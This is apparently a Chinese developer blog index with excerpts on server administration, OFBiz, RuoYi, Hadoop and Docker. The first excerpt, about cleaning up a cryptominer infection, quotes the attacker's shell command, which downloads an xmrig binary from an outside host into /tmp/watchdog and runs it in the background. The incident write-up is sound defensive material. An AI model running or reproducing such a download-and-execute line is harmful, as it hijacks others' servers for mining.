记一次清除阿里云挖矿脚本的过程

2021年07月14日更新
最近再次被挂马了,而且还是一样的请求地址和路径,应该是同一个人所为,继续发现问题,看路径是我这个springboot项目下的子进程,猜测是java或者java的某个lib的漏洞,于是去搜索了一下我这个开源项目,找到了一些端倪。

https://gitee.com/y_project/RuoYi/issues/I383NE

最近我的办法是,更新Shiro的秘钥,再尝试一下是否可以避免这个问题。

某天,在阿里云的控制面板收到了一些警告,有异常的出口请求,和疑似被植入了挖矿程序,马上登陆到服务器上看一眼。

file

点进去看一下,是一个病毒,伪装成watchdog命令执行的操作,看命令的具体操作如下

/bin/sh -c pidof /tmp/watchdog || bash -c 'curl https://whatsmyipv4.cf/xmrig -o /tmp/watchdog && chmod +x /tmp/watchdog && nohup /tmp/watchdog --donate-level 1 -o sg.m[......]

继续阅读

企业微信会话存档服务记录过程

因为一些临时项目,需要开通一下企业微信的会话存档,并拉取到本地,进行一些汇总分析,只做短期使用。

在github上找到一个开源库
https://github.com/5venw0ng/QyChat

https://github.com/5venw0ng/QyChat-iview

于是fork了代码,进行开发,但是在开发过程中,遇到了一些坑,现在记录下来

错误1:weijava.security.InvalidKeyException: IOException : algid parse error, not a sequence

这个错误是由于PKCS的版本问题造成的,由于在生成秘钥对的时候,使用的是PKCS#1生成的,在本地私钥解密的时候也是如此,但不知为何,报错了,但是,将它转换成PKCS#8格式即可

在下面的网站即可转换 PKCS#1 to PKCS#8 同样在生成秘钥对的时候,也是用这个网站的

file

错误2:java.lang.UnsatisfiedLinkError: no WeWorkFinanceSdk_Java in java.library.path

这个坑踩的最久,是[……]

继续阅读

若依(springboot2.x)集成 liquibase

这么做的初衷是不想让团队成员在表结构的更改,seed 数据和 demo 数据的配置这块浪费时间,考虑到以前 OFBiz 的 entity engine 的功能,可以自定义字段,在启动时检查并更新数据库,于是就在朋友推荐下,找到了这个开源软件 liquibase,下面记录下使用过程。

liquibase 是什么,之类就不过多讲了,大家可以 Google 一下,很多,我用的是若依4.x 的开发脚手架,基于 springboot 2.x 的

  1. 添加依赖,我把它放在了 ruoyi-common 这个模块下,在模块的 pom.xml 中增加一个依赖

    <!-- 数据库版本管理工具 -->
    <dependency>
    <groupId>org.liquibase</groupId>
    <artifactId>liquibase-core</artifactId>
    </dependency>
  2. 编写配置类

package com.ruoyi.common.config;
import liquibase.integ[......]

继续阅读

Hadoop学习笔记(一)坑点

运行环境:MacOS 10.12.x

VirtualBox 虚拟机:Hadoop 2.7.7,JDK1.8,Ubuntu 16.04.x、网络 Host-only

namenode机 master,datanode 机器 slave1、slave2、slave3

踩坑点一,必须在 namenode ping通 datanode,才可以
步骤:

  1. 全选虚拟机批量后台启动
  2. 在 master 执行 hadoop-daemon.sh start namenode  成功
  3. 在 slave1 执行 hadoop-daemon.sh start datanode 成功,但是在report 中的 livenode 中可用是0
  4. 在 master 执行 ping slave1,在第5次 ping 的时候,ping 通了,随后 live node+1
  5. 按以上步骤继续加入 slave2、slave3,都是如此,报错为   Problem connecting to server: master/192.168.56.100:9000

[……]

继续阅读

OFBiz16+版本开启HTTPS

为了方便访问,尝试对 OFBiz 16的版本(apache-ofbiz-16.11.03)关闭强制 https,可以使用 http 的方式访问,大的系统设置和老版本差不多,是在 url.properties 中开启,不过16版本和12版本,是有些区别的。
file

file
16版本的,把 no.http 设置成 N,然后把 port.https.enabled也设置成 N,按照老版本的思路,到这里就没问题了,但是使用的时候会有问题,访问 http://localhost:8080/facility,登录后,无法使用其他的功能,一点链接就跳转到登录界面,找了一圈原因,发现问题出现在 cookie 上。

出现这种问题,归根结底就是1个原因,Tomcat 认为你是个新访客,查看 Chrome 调试工具,果不其然,每次请求,response 的 header 总会设置1个新的 JSESSIONID,但是,每次刷新,request 里,却没有带上这个 JSESSIONID,导致每次请求都是「新」的。

而且问题就出在 response 返回的 cookie 上,一个 Secure 的关键字,表示这个 cooki[……]

继续阅读

OFBiz集群配置的踩坑笔记

因业务需要,想给 OFBiz 配置一下集群,看了一下相关资料,大概想了2中方案:

一种是使用 Tomcat 自带的 Cluster 配置中的 session 同步,另外一种是使用开源软件来进行 Redis 的 session 同步

分别对这2中方案,进行了配置,着重写一个第二种方案,有坑!在最后。

环境:MacOS Sierra,OFBiz 12.04

1、Tomcat 插件中使用了 tomcat-cluster-redis-session-manager (https://github.com/ran-jit/tomcat-cluster-redis-session-manager) ,下载插件中的所有包,其中第一个包可以不要,第四个包可以替换成源代码,方便的 Debug 和学习,复制到OFBIZ_HOME/framework/catalina/lib 目录下
file

2、修改 org.ofbiz.catalina.container.CatalinaContainer 类中,configureContext方法,增加如下代码

(由于 OFbiz 采用的是嵌入式 Tomcat(不知道这种叫[……]

继续阅读

OFBiz定时任务详解

OFBiz中的job相关的业务还是比较重要的,异步的service、eca已经任务计划都是通过这个来实现和调度的。

但是如果部署了2个OFBiz实例的话,就会出现冲突,每个实例都认为那些job是需要自己执行的,所以需要修改一些配置文件来达到这样的目的。

serviceengine.xml
这个文件正在framework/service/config/serviceengine.xml,找到以下代码

<!-- Thread pool configuration (max/min threads, uses to live and time to live) -->
<thread-pool send-to-pool="pool"
    purge-job-days="4"
    failed-retry-min="3"
    ttl="18000000"
    wait-millis="750"
    jobs="10"
    min-th[......]

继续阅读

Docker使用心得以及部署一个Mysql container

最近公司在使用Docker,确实是一个很好用的东西,就像集装箱一样,一层一层的堆叠,操作简单,实用性强,性能也特别好,玩法有很多,可以结合自己项目的实际情况来定制。

安装 Docker

方法可以在官网上看,www.docker.com
在Ubuntu 14.x 以上版本是无缝安装:

$ which curl
$ sudo apt-get update
$ sudo apt-get install curl 
(如果有了curl忽略上面的3步)
$ curl -fsSL https://get.docker.com/ | sh

完成后,docker 就安装完成了,打 sudo docker version就可以查看当前的docker的版本号。
file

Mac 和 Windows的安装有点小麻烦,需要安装官方的 Docker Toolboxhttps://www.docker.com/products/docker-toolbox 实际上就是一个虚拟机,然后在虚拟机中运行Ubuntu来安装Docker。

下载Mysql的image

Mysql 可以从官方的dockerhub上去pull,也可以使[……]

继续阅读

OFBiz的国际化XML代码快速生成

因为公司要求项目中除了注释外,前台的view中不要出现中文,全部都使用国际化的代码来配置,增加了很多工作量,而且英文不好的人来说简直是天大的灾难,于是我就写了个小工具,来生成OFBiz的国际化的标签,支持自己配置,也可以直接输入中文,在线翻译。

调用有道翻译的API,为什么不调用Google Translate,因为注册有点麻烦。

<html>
    <head>
        <title>自动转换OFBiz国际化</title>
        <script type="text/javascript" src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
        <script type="text/javascript">
            $(function(){
                $("#gen&quo[......]

继续阅读

OFBiz常用实体介绍

Party  人员组织
Person  人员(人)
PartyGroup  用户组(公司、组织等)
PartyRole  人员角色(给PARTY 加角色,比如职员、快递公司、客户等)
RoleType 角色定义表(定义了角色)
PartyAttribute 人员组织属性表(其他扩展属性,比如社保号等)
PartyRelationship  人员组织关系表(比如某个人关联到某个公司,角色是员工)
UserLogin  登陆用户表 
SecurityPermission 权限表,定义了一些权限
SecurityGroup 权限组
SecurityGroupPermission 把权限定义成很多个权限组
UserLoginSecurityGroup 登陆用户关联的权限组

PartyContactMech 人员联系机制表
PartyContactMechPurpose 人员联系机制目的表
PostalAddress 地址表
TelecomNumber 电话表

Product  产品
ProductAttribute 产品属性
ProductPrice  价格
ProductAssoc 产品和产[……]

继续阅读